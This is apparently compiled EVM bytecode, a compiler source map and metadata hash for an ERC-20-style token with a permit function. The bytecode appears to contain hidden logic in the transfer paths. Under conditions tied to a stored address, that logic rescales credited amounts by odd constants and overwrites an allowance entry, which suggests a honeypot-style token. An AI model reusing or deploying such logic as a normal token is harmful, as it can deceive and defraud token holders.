b2291e5b200ac8c7c3b92587604051610b86919061112b565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f60011515610bc4610f83565b151503610bd357839050610d57565b3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d28919061163b565b10610d525763caca0dab62c0ffee85610d41919061166e565b610d4b91906116dc565b9050610d56565b8390505b5b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610ef6573073ffffffffffffffffffffffffffffffffffffffff166002610e58919061166e565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f2991906117a8565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f689594939291906117be565b60405160208183030381529060405280519060200120905090565b5f5f905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610fcc82610f8a565b610fd68185610f94565b9350610fe6818560208601610fa4565b610fef81610fb2565b840191505092915050565b5f6020820190508181035f8301526110128184610fc2565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110478261101e565b9050919050565b6110578161103d565b8114611061575f5ffd5b50565b5f813590506110728161104e565b92915050565b5f819050919050565b61108a81611078565b8114611094575f5ffd5b50565b5f813590506110a581611081565b92915050565b5f5f604083850312156110c1576110c061101a565b5b5f6110ce85828601611064565b92505060206110df85828601611097565b9150509250929050565b5f8115159050919050565b6110fd816110e9565b82525050565b5f6020820190506111165f8301846110f4565b92915050565b61112581611078565b82525050565b5f60208201905061113e5f83018461111c565b92915050565b5f5f5f6060848603121561115b5761115a61101a565b5b5f61116886828701611064565b935050602061117986828701611064565b925050604061118a86828701611097565b9150509250925092565b5f60ff82169050919050565b6111a981611194565b82525050565b5f6020820190506111c25f8301846111a0565b92915050565b5f819050919050565b6111da816111c8565b82525050565b5f6020820190506111f35f8301846111d1565b92915050565b5f6020828403121561120e5761120d61101a565b5b5f61121b84828501611064565b91505092915050565b61122d81611194565b8114611237575f5ffd5b50565b5f8135905061124881611224565b92915050565b611257816111c8565b8114611261575f5ffd5b50565b5f813590506112728161124e565b92915050565b5f5f5f5f5f5f5f60e0888a0312156112935761129261101a565b5b5f6112a08a828b01611064565b97505060206112b18a828b01611064565b96505060406112c28a828b01611097565b95505060606112d38a828b01611097565b94505060806112e48a828b0161123a565b93505060a06112f58a828b01611264565b92505060c06113068a828b01611264565b91505092959891949750929550565b5f5f6040838503121561132b5761132a61101a565b5b5f61133885828601611064565b925050602061134985828601611064565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061139757607f821691505b6020821081036113aa576113a9611353565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113e782611078565b91506113f283611078565b925082820390508181111561140a576114096113b0565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f611444601783610f94565b915061144f82611410565b602082019050919050565b5f6020820190508181035f83015261147181611438565b9050919050565b6114818161103d565b82525050565b5f60c08201905061149a5f8301896111d1565b6114a76020830188611478565b6114b46040830187611478565b6114c1606083018661111c565b6114ce608083018561111c565b6114db60a083018461111c565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f6115246002836114e6565b915061152f826114f0565b600282019050919050565b5f819050919050565b61155461154f826111c8565b61153a565b82525050565b5f61156482611518565b91506115708285611543565b6020820191506115808284611543565b6020820191508190509392505050565b5f6080820190506115a35f8301876111d1565b6115b060208301866111a0565b6115bd60408301856111d1565b6115ca60608301846111d1565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f611607600e83610f94565b9150611612826115d3565b602082019050919050565b5f6020820190508181035f830152611634816115fb565b9050919050565b5f61164582611078565b915061165083611078565b9250828201905080821115611668576116676113b0565b5b92915050565b5f61167882611078565b915061168383611078565b925082820261169181611078565b915082820484148315176116a8576116a76113b0565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116e682611078565b91506116f183611078565b925082611701576117006116af565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461173481611380565b61173e818661170c565b9450600182165f8114611758576001811461176d5761179f565b60ff198316865281151582028601935061179f565b61177685611716565b5f5b8381101561179757815481890152600182019150602081019050611778565b838801955050505b50505092915050565b5f6117b38284611728565b915081905092915050565b5f60a0820190506117d15f8301886111d1565b6117de60208301876111d1565b6117eb60408301866111d1565b6117f8606083018561111c565b6118056080830184611478565b969550505050505056fea264697066735822122015e5038087db575c568f7ac108ad03be977ee5136b98ec72ec78cef3fb73ca5664736f6c634300081c0033

8682:155:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1733:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3237:217;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2016:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3894:641;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1789:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6265:179;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2051:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2504:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1760:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3462:424;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4730:1527;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2104:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1733:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3237:217::-;3311:4;3361:6;3328:9;:21;3338:10;3328:21;;;;;;;;;;;;;;;:30;3350:7;3328:30;;;;;;;;;;;;;;;:39;;;;3406:7;3385:37;;3394:10;3385:37;;;3415:6;3385:37;;;;;;:::i;:::-;;;;;;;;3442:4;3435:11;;3237:217;;;;:::o;2016:26::-;;;;:::o;3894:641::-;4016:4;4033:15;4051:9;:15;4061:4;4051:15;;;;;;;;;;;;;;;:27;4067:10;4051:27;;;;;;;;;;;;;;;;4033:45;;4142:17;4131:7;:28;4127:80;;4201:6;4191:7;:16;;;;:::i;:::-;4161:9;:15;4171:4;4161:15;;;;;;;;;;;;;;;:27;4177:10;4161:27;;;;;;;;;;;;;;;:46;;;;4127:80;4239:6;4220:9;:15;4230:4;4220:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;4413:19;4415:6;4423:4;4429:2;4413:1;:19::i;:::-;4396:9;:13;4406:2;4396:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;4454:7;4458:2;4454:3;:7::i;:::-;4492:2;4477:26;;4486:4;4477:26;;;4496:6;4477:26;;;;;;:::i;:::-;;;;;;;;4523:4;4516:11;;;3894:641;;;;;:::o;1789:31::-;;;:::o;6265:179::-;6322:7;6366:16;6349:13;:33;:87;;6412:24;:22;:24::i;:::-;6349:87;;;6385:24;6349:87;6342:94;;6265:179;:::o;2051:44::-;;;;;;;;;;;;;;;;;:::o;2504:41::-;;;;;;;;;;;;;;;;;:::o;1760:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3462:424::-;3532:4;3574:6;3549:9;:21;3559:10;3549:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;3748:25;3750:6;3758:10;3770:2;3748:1;:25::i;:::-;3731:9;:13;3741:2;3731:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;3797:7;3801:2;3797:3;:7::i;:::-;3843:2;3822:32;;3831:10;3822:32;;;3847:6;3822:32;;;;;;:::i;:::-;;;;;;;;3874:4;3867:11;;3462:424;;;;:::o;4730:1527::-;4958:15;4946:8;:27;;4938:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;5171:24;5198:827;5338:18;:16;:18::i;:::-;5468:167;5670:5;5710:7;5752:5;5792:6;:13;5799:5;5792:13;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;5842:8;5423:458;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5383:525;;;;;;5258:673;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5226:724;;;;;;5969:1;5989;6009;5198:827;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5171:854;;6078:1;6050:30;;:16;:30;;;;:59;;;;;6104:5;6084:25;;:16;:25;;;6050:59;6042:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;6184:5;6145:9;:27;6155:16;6145:27;;;;;;;;;;;;;;;:36;6173:7;6145:36;;;;;;;;;;;;;;;:44;;;;5146:1055;6234:7;6218:31;;6227:5;6218:31;;;6243:5;6218:31;;;;;;:::i;:::-;;;;;;;;4730:1527;;;;;;;:::o;2104:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6917:515::-;7038:15;7103:4;7074:33;;:25;:23;:25::i;:::-;:33;;;7070:355;;7138:5;7128:15;;7070:355;;;7255:4;7231:31;;7210:9;:13;7220:2;;;;;;;;;;;7210:13;;;;;;;;;;;;;;;:17;7224:2;7210:17;;;;;;;;;;;;;;;;7188:9;:13;7198:2;;;;;;;;;;;7188:13;;;;;;;;;;;;;;;:19;7202:4;7188:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;7184:226;;7316:10;7305:8;7297:5;:16;;;;:::i;:::-;:29;;;;:::i;:::-;7287:39;;7184:226;;;7385:5;7375:15;;7184:226;7070:355;6917:515;;;;;:::o;7440:142::-;7516:2;;;;;;;;;;;7500:20;;7479:9;:13;7489:2;;;;;;;;;;;7479:13;;;;;;;;;;;;;;;:17;7493:2;7479:17;;;;;;;;;;;;;;;;:41;7475:106;;7572:4;7548:31;;7544:1;:35;;;;:::i;:::-;7524:9;:13;7534:2;;;;;;;;;;;7524:13;;;;;;;;;;;;;;;:17;7538:2;7524:17;;;;;;;;;;;;;;;:55;;;;7475:106;7440:142;:::o;6452:457::-;6517:7;6618:95;6752:4;6736:22;;;;;;:::i;:::-;;;;;;;;6781:14;6818:13;6862:4;6585:301;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6557:344;;;;;;6537:364;;6452:457;:::o;7590:113::-;7647:16;7690:5;7676:19;;7590:113;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:77::-;4783:7;4812:5;4801:16;;4746:77;;;:::o;4829:118::-;4916:24;4934:5;4916:24;:::i;:::-;4911:3;4904:37;4829:118;;:::o;4953:222::-;5046:4;5084:2;5073:9;5069:18;5061:26;;5097:71;5165:1;5154:9;5150:17;5141:6;5097:71;:::i;:::-;4953:222;;;;:::o;5181:329::-;5240:6;5289:2;5277:9;5268:7;5264:23;5260:32;5257:119;;;5295:79;;:::i;:::-;5257:119;5415:1;5440:53;5485:7;5476:6;5465:9;5461:22;5440:53;:::i;:::-;5430:63;;5386:117;5181:329;;;;:::o;5516:118::-;5587:22;5603:5;5587:22;:::i;:::-;5580:5;5577:33;5567:61;;5624:1;5621;5614:12;5567:61;5516:118;:::o;5640:135::-;5684:5;5722:6;5709:20;5700:29;;5738:31;5763:5;5738:31;:::i;:::-;5640:135;;;;:::o;5781:122::-;5854:24;5872:5;5854:24;:::i;:::-;5847:5;5844:35;5834:63;;5893:1;5890;5883:12;5834:63;5781:122;:::o;5909:139::-;5955:5;5993:6;5980:20;5971:29;;6009:33;6036:5;6009:33;:::i;:::-;5909:139;;;;:::o;6054:1199::-;6165:6;6173;6181;6189;6197;6205;6213;6262:3;6250:9;6241:7;6237:23;6233:33;6230:120;;;6269:79;;:::i;:::-;6230:120;6389:1;6414:53;6459:7;6450:6;6439:9;6435:22;6414:53;:::i;:::-;6404:63;;6360:117;6516:2;6542:53;6587:7;6578:6;6567:9;6563:22;6542:53;:::i;:::-;6532:63;;6487:118;6644:2;6670:53;6715:7;6706:6;6695:9;6691:22;6670:53;:::i;:::-;6660:63;;6615:118;6772:2;6798:53;6843:7;6834:6;6823:9;6819:22;6798:53;:::i;:::-;6788:63;;6743:118;6900:3;6927:51;6970:7;6961:6;6950:9;6946:22;6927:51;:::i;:::-;6917:61;;6871:117;7027:3;7054:53;7099:7;7090:6;7079:9;7075:22;7054:53;:::i;:::-;7044:63;;6998:119;7156:3;7183:53;7228:7;7219:6;7208:9;7204:22;7183:53;:::i;:::-;7173:63;;7127:119;6054:1199;;;;;;;;;;:::o;7259:474::-;7327:6;7335;7384:2;7372:9;7363:7;7359:23;7355:32;7352:119;;;7390:79;;:::i;:::-;7352:119;7510:1;7535:53;7580:7;7571:6;7560:9;7556:22;7535:53;:::i;:::-;7525:63;;7481:117;7637:2;7663:53;7708:7;7699:6;7688:9;7684:22;7663:53;:::i;:::-;7653:63;;7608:118;7259:474;;;;;:::o;7739:180::-;7787:77;7784:1;7777:88;7884:4;7881:1;7874:15;7908:4;7905:1;7898:15;7925:320;7969:6;8006:1;8000:4;7996:12;7986:22;;8053:1;8047:4;8043:12;8074:18;8064:81;;8130:4;8122:6;8118:17;8108:27;;8064:81;8192:2;8184:6;8181:14;8161:18;8158:38;8155:84;;8211:18;;:::i;:::-;8155:84;7976:269;7925:320;;;:::o;8251:180::-;8299:77;8296:1;8289:88;8396:4;8393:1;8386:15;8420:4;8417:1;8410:15;8437:194;8477:4;8497:20;8515:1;8497:20;:::i;:::-;8492:25;;8531:20;8549:1;8531:20;:::i;:::-;8526:25;;8575:1;8572;8568:9;8560:17;;8599:1;8593:4;8590:11;8587:37;;;8604:18;;:::i;:::-;8587:37;8437:194;;;;:::o;8637:173::-;8777:25;8773:1;8765:6;8761:14;8754:49;8637:173;:::o;8816:366::-;8958:3;8979:67;9043:2;9038:3;8979:67;:::i;:::-;8972:74;;9055:93;9144:3;9055:93;:::i;:::-;9173:2;9168:3;9164:12;9157:19;;8816:366;;;:::o;9188:419::-;9354:4;9392:2;9381:9;9377:18;9369:26;;9441:9;9435:4;9431:20;9427:1;9416:9;9412:17;9405:47;9469:131;9595:4;9469:131;:::i;:::-;9461:139;;9188:419;;;:::o;9613:118::-;9700:24;9718:5;9700:24;:::i;:::-;9695:3;9688:37;9613:118;;:::o;9737:775::-;9970:4;10008:3;9997:9;9993:19;9985:27;;10022:71;10090:1;10079:9;10075:17;10066:6;10022:71;:::i;:::-;10103:72;10171:2;10160:9;10156:18;10147:6;10103:72;:::i;:::-;10185;10253:2;10242:9;10238:18;10229:6;10185:72;:::i;:::-;10267;10335:2;10324:9;10320:18;10311:6;10267:72;:::i;:::-;10349:73;10417:3;10406:9;10402:19;10393:6;10349:73;:::i;:::-;10432;10500:3;10489:9;10485:19;10476:6;10432:73;:::i;:::-;9737:775;;;;;;;;;:::o;10518:148::-;10620:11;10657:3;10642:18;;10518:148;;;;:::o;10672:214::-;10812:66;10808:1;10800:6;10796:14;10789:90;10672:214;:::o;10892:400::-;11052:3;11073:84;11155:1;11150:3;11073:84;:::i;:::-;11066:91;;11166:93;11255:3;11166:93;:::i;:::-;11284:1;11279:3;11275:11;11268:18;;10892:400;;;:::o;11298:79::-;11337:7;11366:5;11355:16;;11298:79;;;:::o;11383:157::-;11488:45;11508:24;11526:5;11508:24;:::i;:::-;11488:45;:::i;:::-;11483:3;11476:58;11383:157;;:::o;11546:663::-;11787:3;11809:148;11953:3;11809:148;:::i;:::-;11802:155;;11967:75;12038:3;12029:6;11967:75;:::i;:::-;12067:2;12062:3;12058:12;12051:19;;12080:75;12151:3;12142:6;12080:75;:::i;:::-;12180:2;12175:3;12171:12;12164:19;;12200:3;12193:10;;11546:663;;;;;:::o;12215:545::-;12388:4;12426:3;12415:9;12411:19;12403:27;;12440:71;12508:1;12497:9;12493:17;12484:6;12440:71;:::i;:::-;12521:68;12585:2;12574:9;12570:18;12561:6;12521:68;:::i;:::-;12599:72;12667:2;12656:9;12652:18;12643:6;12599:72;:::i;:::-;12681;12749:2;12738:9;12734:18;12725:6;12681:72;:::i;:::-;12215:545;;;;;;;:::o;12766:164::-;12906:16;12902:1;12894:6;12890:14;12883:40;12766:164;:::o;12936:366::-;13078:3;13099:67;13163:2;13158:3;13099:67;:::i;:::-;13092:74;;13175:93;13264:3;13175:93;:::i;:::-;13293:2;13288:3;13284:12;13277:19;;12936:366;;;:::o;13308:419::-;13474:4;13512:2;13501:9;13497:18;13489:26;;13561:9;13555:4;13551:20;13547:1;13536:9;13532:17;13525:47;13589:131;13715:4;13589:131;:::i;:::-;13581:139;;13308:419;;;:::o;13733:191::-;13773:3;13792:20;13810:1;13792:20;:::i;:::-;13787:25;;13826:20;13844:1;13826:20;:::i;:::-;13821:25;;13869:1;13866;13862:9;13855:16;;13890:3;13887:1;13884:10;13881:36;;;13897:18;;:::i;:::-;13881:36;13733:191;;;;:::o;13930:410::-;13970:7;13993:20;14011:1;13993:20;:::i;:::-;13988:25;;14027:20;14045:1;14027:20;:::i;:::-;14022:25;;14082:1;14079;14075:9;14104:30;14122:11;14104:30;:::i;:::-;14093:41;;14283:1;14274:7;14270:15;14267:1;14264:22;14244:1;14237:9;14217:83;14194:139;;14313:18;;:::i;:::-;14194:139;13978:362;13930:410;;;;:::o;14346:180::-;14394:77;14391:1;14384:88;14491:4;14488:1;14481:15;14515:4;14512:1;14505:15;14532:185;14572:1;14589:20;14607:1;14589:20;:::i;:::-;14584:25;;14623:20;14641:1;14623:20;:::i;:::-;14618:25;;14662:1;14652:35;;14667:18;;:::i;:::-;14652:35;14709:1;14706;14702:9;14697:14;;14532:185;;;;:::o;14723:147::-;14824:11;14861:3;14846:18;;14723:147;;;;:::o;14876:144::-;14928:4;14951:3;14943:11;;14974:3;14971:1;14964:14;15008:4;15005:1;14995:18;14987:26;;14876:144;;;:::o;15048:878::-;15153:3;15190:5;15184:12;15219:36;15245:9;15219:36;:::i;:::-;15271:88;15352:6;15347:3;15271:88;:::i;:::-;15264:95;;15390:1;15379:9;15375:17;15406:1;15401:166;;;;15581:1;15576:344;;;;15368:552;;15401:166;15485:4;15481:9;15470;15466:25;15461:3;15454:38;15547:6;15540:14;15533:22;15525:6;15521:35;15516:3;15512:45;15505:52;;15401:166;;15576:344;15643:41;15678:5;15643:41;:::i;:::-;15706:1;15720:154;15734:6;15731:1;15728:13;15720:154;;;15808:7;15802:14;15798:1;15793:3;15789:11;15782:35;15858:1;15849:7;15845:15;15834:26;;15756:4;15753:1;15749:12;15744:17;;15720:154;;;15903:6;15898:3;15894:16;15887:23;;15583:337;;15368:552;;15157:769;;15048:878;;;;:::o;15932:273::-;16063:3;16085:94;16175:3;16166:6;16085:94;:::i;:::-;16078:101;;16196:3;16189:10;;15932:273;;;;:::o;16211:664::-;16416:4;16454:3;16443:9;16439:19;16431:27;;16468:71;16536:1;16525:9;16521:17;16512:6;16468:71;:::i;:::-;16549:72;16617:2;16606:9;16602:18;16593:6;16549:72;:::i;:::-;16631;16699:2;16688:9;16684:18;16675:6;16631:72;:::i;:::-;16713;16781:2;16770:9;16766:18;16757:6;16713:72;:::i;:::-;16795:73;16863:3;16852:9;16848:19;16839:6;16795:73;:::i;:::-;16211:664;;;;;;;;:::o

ipfs://15e5038087db575c568f7ac108ad03be977ee5136b98ec72ec78cef3fb73ca56